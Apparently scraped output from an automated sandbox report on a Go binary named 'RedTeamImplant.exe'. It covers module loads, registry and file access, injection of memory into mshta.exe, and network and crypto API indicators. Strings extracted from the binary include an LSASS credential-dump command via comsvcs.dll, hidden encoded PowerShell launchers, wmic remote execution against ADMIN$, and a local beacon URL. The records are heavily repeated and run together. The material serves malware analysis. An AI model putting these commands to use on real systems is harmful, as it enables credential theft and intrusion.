"API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff830980000 "RedTeamImplant.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff832ae0000 "RedTeamImplant.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff830980000 "RedTeamImplant.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff830980000 "RedTeamImplant.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff830980000 "RedTeamImplant.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ff830f10000 "RedTeamImplant.exe" loaded module "NTDLL.DLL" at base 7ff833350000 "RedTeamImplant.exe" loaded module "POWRPROF.DLL" at base 7ff830640000 "RedTeamImplant.exe" loaded module "KERNEL32.DLL" at base 7ff832740000 "RedTeamImplant.exe" loaded module "KERNELBASE" at base 7ff83098000041:T881,Observed system executable string:"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" [Source: RedTeamImplant.exe], Observed system executable string:"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" [Source: RedTeamImplant.exe]42:T4ec,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" [Source: RedTeamImplant.exe], Observed system executable string:"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" [Source: RedTeamImplant.exe]43:T4ec,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" [Source: RedTeamImplant.exe], Observed system executable string:"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" [Source: RedTeamImplant.exe]44:T46e,Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00007932) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00004164) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00008072) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00009000) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00005204) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00002396) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00000688) Spawned process "mshta.exe" with commandline "javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaG ..." (UID: 00000000-00002204)45:T46e,Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00007932) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00004164) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00008072) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00009000) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00005204) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00002396) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -N ..." (UID: 00000000-00000688) Spawned process "mshta.exe" with commandline "javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaG ..." (UID: 00000000-00002204)46:Teee,"RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "612" "BaseAddress": "00000181FCE70000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "612" "BaseAddress": "0000004617F512D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "608" "BaseAddress": "0000015301A20000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "608" "BaseAddress": "00000001003B42D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "592" "BaseAddress": "0000017F2C870000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "592" "BaseAddress": "0000004C114742D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "596" "BaseAddress": "0000026213C30000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "596" "BaseAddress": "00000063612152D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "660" "BaseAddress": "000002DA465A0000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "660" "BaseAddress": "000000E9DBC552D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "616" "BaseAddress": "0000020F97900000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "616" "BaseAddress": "000000A5172502D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "648" "BaseAddress": "00000125A7DE0000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "648" "BaseAddress": "0000000E949C62D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "644" "BaseAddress": "0000011E4C8A0000" "Buffer": "000001B89959E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\mshta.exe"} "RedTeamImplant.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "644" "BaseAddress": "0000000260D822D8" "Buffer": "0000000A7D5FDF60" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\mshta.exe"}47:T6dc,"RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\OSDATA\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: ""; Value: "") "RedTeamImplant.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES\MANIFESTEDMERGESTUBSDBS"; Key: ""; Value: "")48:Tb6f,"RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "DISABLEDOUBLEQUERYSDBS"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMERGE.SDB"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "RedTeamImplant.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYSLEEPLOOPWINDOWSIZE"; Value: "")49:T468,"RedTeamImplant.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "RedTeamImplant.exe" trying to touch file "C:\RedTeamImplant.exe" "RedTeamImplant.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "RedTeamImplant.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "RedTeamImplant.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "RedTeamImplant.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "RedTeamImplant.exe" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "RedTeamImplant.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "RedTeamImplant.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "RedTeamImplant.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "RedTeamImplant.exe" trying to touch file "C:\Windows\System32\imm32.dll" "RedTeamImplant.exe" trying to touch file "C:\CRYPTSP.DLL" "RedTeamImplant.exe" trying to touch file "C:\WINDOWS\SYSTEM32\CRYPTSP.DLL" "RedTeamImplant.exe" trying to touch file "C:\Windows\System32\cryptsp.dll" "RedTeamImplant.exe" trying to touch file "\Global??\FltMgrMsg"4a:T758,Found reference to API "SetsockoptInt" (Indicator: "setsockopt"; File: "RedTeamImplant.exe") Found reference to API "SetsockoptIPMreq" (Indicator: "setsockopt"; File: "RedTeamImplant.exe") Found reference to API "SetsockoptLinger" (Indicator: "setsockopt"; File: "RedTeamImplant.exe") Found reference to API "SetsockoptIPv6Mreq" (Indicator: "setsockopt"; File: "RedTeamImplant.exe") Found reference to API "SetsockoptInet4Addr" (Indicator: "setsockopt"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "setsockopt"; File: "RedTeamImplant.exe") Found reference to API "syscall.Setsockopt" (Indicator: "setsockopt"; File: "RedTeamImplant.exe") Found reference to API "syscall.SetsockoptInt" (Indicator: "setsockopt"; File: "RedTeamImplant.exe") Found reference to API "SetsockoptInt" (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "SetsockoptIPMreq" (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "SetsockoptLinger" (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "SetsockoptIPv6Mreq" (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "SetsockoptInet4Addr" (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.Setsockopt" (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.SetsockoptInt" (Indicator: "setsockopt"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")4b:T443,file/memory contains long string with (Indicator: "WSARecv"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "WSASend"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "RedTeamImplant.exe") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; File: "RedTeamImplant.exe") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; File: "RedTeamImplant.exe") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "WSASend"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")4c:T443,file/memory contains long string with (Indicator: "WSARecv"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "WSASend"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "RedTeamImplant.exe") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; File: "RedTeamImplant.exe") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; File: "RedTeamImplant.exe") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "WSASend"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")4d:T550,file/memory contains long string with (Indicator: "wsastartup"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "wsacleanup"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "gethostbyname"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: " send "; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: " socket "; File: "RedTeamImplant.exe") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "wsastartup"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "wsacleanup"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "gethostbyname"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: " socket "; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")4e:T7bd,Heuristic match: "*abi.name" Heuristic match: "*godebugs.info" Pattern match: "http://127.0.0.1:8080/beacon.ps1" Heuristic match: "internal/abi.name.name" Heuristic match: "type:.eq.internal/godebugs.info" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.(*polldesc).info" Heuristic match: "runtime.srcfunc.name" Heuristic match: "commandcontextruntime: getqueuedcompletionstatusex returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)createobject(wscript.shell).run powershell -nop -noni -w hidden -enc runtime: getqueuedcompletion" Heuristic match: "errors.is" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.int32" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[sync.poolchainelt" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Heuristic match: "unicode.to" Heuristic match: "reflect.flag.ro" Heuristic match: "reflect.value.int" Pattern match: "eq.sync/atomic.pointer[internal/bisect.dedup" Heuristic match: "internal/godebug.(*setting).name" Pattern match: "eq.sync/atomic.pointer[internal/godebug.value" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.io/fs.patherror" Pattern match: "eq.sync/atomic.pointer[os.dirinfo" Pattern match: "eq.os/exec.error" Pattern match: "eq.os/exec.wrappederror" Pattern match: "eq.os/exec.ctxresult" Pattern match: "eq.os/exec.goroutinestatus" Heuristic match: "mshta.exe.com" Heuristic match: "c:\program files (x86)\common files\oracle\java\javapath\mshta.exe.com"4f:T94d,Found string "chacha8" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "encoding/base64" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "*base64.Encoding" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "aes"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "3des"; File: "RedTeamImplant.exe") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "RedTeamImplant.exe") Found string "aeshashbody" (Indicator: "aes"; File: "RedTeamImplant.exe") Found string "encoding/base64.init" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "encoding/base64.NewEncoding" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "encoding/base64.Encoding.WithPadding" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "encoding/base64.(*Encoding).Encode" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "encoding/base64.(*Encoding).EncodeToString" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "encoding/base64.(*Encoding).EncodedLen" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "type:.eq.encoding/base64.Encoding" (Indicator: "base64"; File: "RedTeamImplant.exe") Found string "/usr/local/go/src/internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "RedTeamImplant.exe") Found string "/usr/local/go/src/internal/chacha8rand/chacha8_amd64.s" (Indicator: "chacha"; File: "RedTeamImplant.exe")50:T976,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "Module32Next"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "Module32First"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "Process32Next"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "Process32First"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "RedTeamImplant.exe") Found reference to API "syscall.GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "RedTeamImplant.exe") Found reference to API "syscall.GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "Module32Next"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "Module32First"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetModuleHandle"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API 